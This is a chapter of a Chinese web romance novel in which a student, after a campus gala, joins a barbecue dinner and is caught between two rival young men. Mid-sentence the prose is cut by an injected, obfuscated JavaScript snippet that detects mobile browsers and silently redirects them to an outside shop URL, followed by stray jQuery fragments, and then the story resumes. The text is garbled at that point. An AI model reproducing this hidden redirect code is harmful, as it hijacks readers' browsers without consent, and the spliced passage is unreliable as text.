15. 野马

作品:《畸形迷恋

    夏晓时蓦然回神。


    她在贺见澄转头前倏地牵住了他的手,十指相扣道:“听说下个节目是变魔术,挺有趣的,我们去看好不好?”


    “变魔术?”贺见澄成功被转移了注意力,看她一副兴奋的样子,也来了兴致,道:“行啊,我们去呗。”


    夏晓时牵着他往外走。


    在经过路怀之他们时,好巧不巧有个人不小心把水洒了,衣服打湿了一大块,引来了一部分人的目光,其中也包括贺见澄。


    正要去看那边发生了什么,手中柔软的触感却让贺见澄后知后觉地意识到了一件事。


    ——他正在和夏晓时十指相扣。


    这个认识让他心底又冒起了甜滋滋的泡泡,刚放出去的心思也立马收了回来。


    待二人的背影消失在门口,那边正在听贺子君说话的路怀之忽然往那儿望了一眼。


    ......


    晚会一共十二个节目,夏晓时他们出去时已经是第八个了,而周桉的乐队演出是压轴,他们得等到最后才能看到她的演出。


    好在其他节目也不无聊,她和贺见澄有说有笑地看了下去,终于在将近八点时迎来了万众瞩目的压轴表演。


    当乐队成员们在骤亮的舞台上出现,观众们的呼声瞬间压过了所有。


    他们在这一带学校都很有名气,社交平台发布的视频基本每条都点赞过万,算也是小网红了。


    热烈的氛围中,劲爆的吉他随着喷出的干冰乍现,即刻点燃了全场。


    该说不愧是排练了那么久的曲子,成员们的配合默契十足,彼此一个眼神就能读懂意思,轻易牵动着听众们的情绪。


    直到演出结束,热烈的掌声也经久不散。


    他们退场后,主持人上台说完闭幕词,这场持续了近两小时的迎新晚会就正式结束了。


    闹了许久的场馆终于安静下来,工作人员安排观众们陆续离场,自己则和志愿者留下来做收尾工作。


    有贺见澄搭手,同样被留下来做事儿的夏晓时很快就把地上的垃圾都捡干净了,回去后台时大伙散的散,走的走,都离开的差不多了,只有最核心的几个人员还在那核对事项。


    见被人围着的贺子君身旁并没有周桉的身影,夏晓时等她们忙完后走了过去,“姐,周桉姐呢?”


    “啊?你说她啊。”贺子君把文件夹盖起来,“她去参加乐队的聚餐了,今晚估计都见不着人影。”


    “这样吗,我还以为她会和你一起呢。”夏晓时有些意外。


    “我俩又不是连体婴儿,干嘛非得在一起?这人的放松方式除了弹吉他就是玩数独,他们乐队请她去也是白搭,多半又是捧着本数独在那写写写。”她撇了撇嘴,不以为然道:“周桉那些娱乐活动枯燥又无聊,我才懒得管她。”


    说完,她又笑嘻嘻地对夏晓时说:“我们等会儿要去聚餐,你也一起来吧!”


    “我?”夏晓时指了指自己。


    她看了一圈,周围都是团委的人,和她也不熟,她一个外人掺和进去不太好吧。


    似是看出了她的担忧,贺子君“诶”了一声,道:“没事儿没事儿,说是聚餐其实主要是去玩儿的,吃吃烤肉喝点小酒,别提有多舒坦了,你想那么多干嘛!”


    “嗯......也行,那就当我是去蹭吃蹭喝了!”


    “别去。”跟上来的贺见澄忽然插进来。


    他站在夏晓时后边,就像站了一堵墙,投下的阴影将她笼罩。


    夏晓时抬头看他,“为什么?”


    心里装着事儿,贺见澄突然就心虚了起来,摸了摸鼻尖,道:“没什么,就是觉得烤肉有啥好吃的,不如我俩单独去订个餐厅,看着夜景聊聊天。”


    贺子君调笑他:“呦,农村鼻涕娃也是变成上流社会小少爷了,看不上我们平民吃的烤肉。”


    “你胡说什么呢!我只是......!”


    “只是?”贺子君但笑不语。


    “......就是没什么好去的!”忽视她的戏谑,贺见澄拉上夏晓时的手腕,道:“走,我们出去。”


    被一股力量牵引着往前,夏晓时看着他的背影,脚下却纹丝不动。


    见对方疑惑地转头,她才踮起脚拉近距离,悄声道:“可是我想去。”


    贺见澄皱眉,正当他想打断夏晓时的话,对方又接了一句:


    “因为是你的堂姐,所以我想和她近一点。”


    ——同时也离你更近一点。


    贺见澄自动补全了后半句话。


    那种胸闷面热的感觉又来了,他快速眨着眼,羞涩伴随着无措一同袭来,同时心底痒痒的,像被风吹过的毛绒绒的青绿麦田。


    余光瞥见后方的贺子君脸上意味深长的笑,他立马收敛了表情,低头道:“好,那我们去吧。”


    “?”


    如此果断,还打算多输出几句的夏晓时愣了一下,但很快对此接受良好。


    反正她的目的达到了。


    搞定收尾工作,贺子君带着成员和夏晓时他们一同打了几辆车,前后脚到达了要去光顾的烤肉店。


    几人下车,夏晓时和贺见澄并肩站着,面前是略吹着冷风的大街,行人汽车行事匆匆,空气中弥漫着灰尘尾气与各色餐馆散发出的菜香的混合气味,红绿灯不断闪着,偶有嘹亮的喇叭鸣起。


    寻常而忙碌的人生百态。


    冷调的夜色与霓虹灯中,夏晓时仿佛感觉到什么似的,忽然往店门口右边瞟了一眼。


    模糊的夜幕里,一辆格格不入的重型机车停在那儿,光滑的黑色金属光泽森寒,几乎要融入到黑暗里。


    不远的地方,一人仰着头靠在墙上,懒懒地从口袋里摸出一个打火机。


    “叮”地一声,昏黄的火光乍现,照亮了他极短的寸头和刀削般冷硬的轮廓,眉毛黑浓,眼尾细长上挑,正睫毛微颤地注视着被燃得火纹明灭的烟头,一下就让夏晓时想到了海上足以撕碎任何生物的暗色风暴。


    ......好带劲的一匹野马。


    如果被自己抓着头发强制......他一定会用那双戾气十足的眼睛充满愤怒地瞪着自己吧。


    手背的轻碰打散了她的绮想。贺见澄关掉手机,双手插兜问她:“我姐还要五六分钟才到,你要先进去还是留在这里等她?”


    夏晓时收回目光,“我在这里等她吧,就那么几分钟而已,我也不太饿。”


    “那我和你一起。”


    让其他人先进去,两人在门口聊了一会儿,贺子君所乘的车才姗姗来迟。


    她风风火火地下车,身后还跟着和同一辆车的人,见夏晓时待在路边,瞪眼道:“你怎么还在这啊!等我干啥,还怕我迷路了不成?这傻孩子!”


    她虚搂住夏晓时的腰,将她轻推了进去,旁边的贺见澄是一点儿眼神也没给。


    对方对她无视的举动见怪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992502|193781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不怪,翻了个白眼也跟上去。


    进门之前,夏晓时又往那个男生抽烟的角落看了一眼,他已经不在那儿了。


    飘香的烤肉味与层次复杂的香料气息充盈着客人们的鼻腔,店内光源明亮,每一桌都配备了吸烟器,煎得金黄的烤肉滋滋冒油,放到蘸料碟里一蘸,将它们送入口中的食客便不由自主扬起了唇角。


    夏晓时被勾得肚子咕咕叫。


    她带着由衷的期待笑眯眯地和贺子君一起往里走,当看到对方停在一桌人前时,她脸上的笑容一下僵了。


    几张陌生的面孔中,戴着无框眼镜依旧冷淡着脸的路怀之格外显眼。


    我服了,他怎么在这?!


    措不及防和他对上眼,夏晓时表情扭曲了一瞬,紧接着感受到了另一道视线——从路怀之旁边的人传来的。


    她看过去,是之前在店门口见过的那个男生。


    青年的脸在灯光下显得更加棱角分明,眉骨打了眉钉,嘴唇薄而微微上扬,给人初见就能撕碎个人审美的冲击力,浓墨重彩的,极具攻击性,又如同危险迷人的罂粟般使人情不自禁地靠近。


    但比起令人惊叹的俊美,此刻更吸引夏晓时的是他眼中看穿一切的讥讽与不屑。


    ——他肯定见证了自己表情变化的全过程。


    下意识地低头转身,她看见后方的贺见澄也跟了过来,心中大叫不好,忙迎上去抢占他的视线,阻拦道:“贺见澄,你不是说不想吃烤肉吗?我俩单独出去吃点别的吧!”


    很可惜晚了一步。


    对方已经看到后边的路怀之了。


    悠闲轻松的笑容淡下来,他与神色未变的路怀之隔空对视,忽然扬起一抹拽拽的笑容,揽住夏晓时的肩膀道:


    “谁说我不想吃烤肉了?这里还有我认识的老熟人呢,刚好坐下来叙叙旧,你说是不是?”


    他皮笑肉不笑地瞥了夏晓时一眼。


    夏晓时后悔了。


    她不该来这该死的聚餐的。


    虽然路怀之没有要和贺见澄对上的想法,但就凭那小子争强好胜的性格,不得在饭局上斗个你死我活。


    关键他还肯定玩不过路怀之。


    到时候遭殃的就是自己了。


    ......


    贺见澄将近一番挑衅的话后,原本热闹的饭桌渐渐安静下来。


    大家看着无形中对峙的两人,非常有默契地你看我我看你,都从中嗅出了点不寻常的味道,更有甚者眼中已经燃起八卦之火了。


    见状,还是想开开心心聚个餐的贺子君出来打圆场:“呦,你们认识啊?”


    路怀之点头,倒是贺见澄又发难了。


    “当然认识啦,A大最虚怀若谷的学长谁不认识啊,你说是吧?”


    他意有所指,还记恨着上次路怀之暗讽他心胸狭窄的事。


    见这傻子给了台阶还不下,贺子君维持微笑,在别人看不到的地方卯足劲儿拧了他一把。


    “嘶......”


    贺见澄痛得皱了皱眉。


    他似心情不好的小狼崽般压低眉眼扫了贺子君一下,没再说什么,而是拉着从刚才起就在缩小自己存在感的夏晓时,大刀阔斧地在路怀之正对面坐下了。


    但浓重的火药味儿一直都没消失。


    看着这局面,大家脑子里不约而同地出现五个字。


    王牌对王牌。


    这顿饭可就好玩了。